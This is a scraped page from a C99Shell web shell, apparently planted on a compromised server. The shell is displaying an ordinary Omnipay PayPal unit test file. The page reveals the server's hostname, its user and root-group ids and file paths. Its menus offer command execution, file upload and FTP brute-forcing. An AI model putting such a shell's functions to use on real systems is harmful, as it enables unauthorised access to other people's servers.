!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/gateway.picotech.app/public_html/vendor/omnipay/paypal/tests/Message/   drwxr-xr-x
Free 28.47 GB of 117.98 GB (24.13%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ExpressFetchCheckoutRequestTest.php (2.1 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Omnipay\PayPal\Message;

use 
Omnipay\PayPal\Message\ExpressFetchCheckoutRequest;
use 
Omnipay\Tests\TestCase;

class 
ExpressFetchCheckoutRequestTest extends TestCase
{
    
/**
     * @var \Omnipay\PayPal\Message\ExpressFetchCheckoutRequest
     */
    
private $request;

    public function 
setUp()
    {
        
$client $this->getHttpClient();

        
$request $this->getHttpRequest();
        
$request->query->set('token''TOKEN1234');

        
$this->request = new ExpressFetchCheckoutRequest($client$request);
    }

    public function 
testGetData()
    {
        
$this->request->setUsername('testuser');
        
$this->request->setPassword('testpass');
        
$this->request->setSignature('SIG');

        
$expected = array();
        
$expected['METHOD'] = 'GetExpressCheckoutDetails';
        
$expected['USER'] = 'testuser';
        
$expected['PWD'] = 'testpass';
        
$expected['SIGNATURE'] = 'SIG';
        
$expected['SUBJECT'] = null;
        
$expected['VERSION'] = ExpressCompletePurchaseRequest::API_VERSION;
        
$expected['TOKEN'] = 'TOKEN1234';

        
$this->assertEquals($expected$this->request->getData());
    }

    public function 
testGetDataTokenOverride()
    {
        
$this->request->setToken('TOKEN2000');

        
$data $this->request->getData();

        
$this->assertSame('TOKEN2000'$data['TOKEN']);
    }

    public function 
testSendSuccess()
    {
        
$this->setMockHttpResponse('ExpressFetchCheckoutSuccess.txt');

        
$response $this->request->send();
        
$this->assertFalse($response->isPending());
        
$this->assertTrue($response->isSuccessful());
        
$this->assertFalse($response->isRedirect());
    }

    public function 
testSendFailure()
    {
        
$this->setMockHttpResponse('ExpressFetchCheckoutFailure.txt');

        
$response $this->request->send();
        
$this->assertFalse($response->isPending());
        
$this->assertFalse($response->isSuccessful());
        
$this->assertFalse($response->isRedirect());
        
$this->assertSame('The amount exceeds the maximum amount for a single transaction.'$response->getMessage());
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]--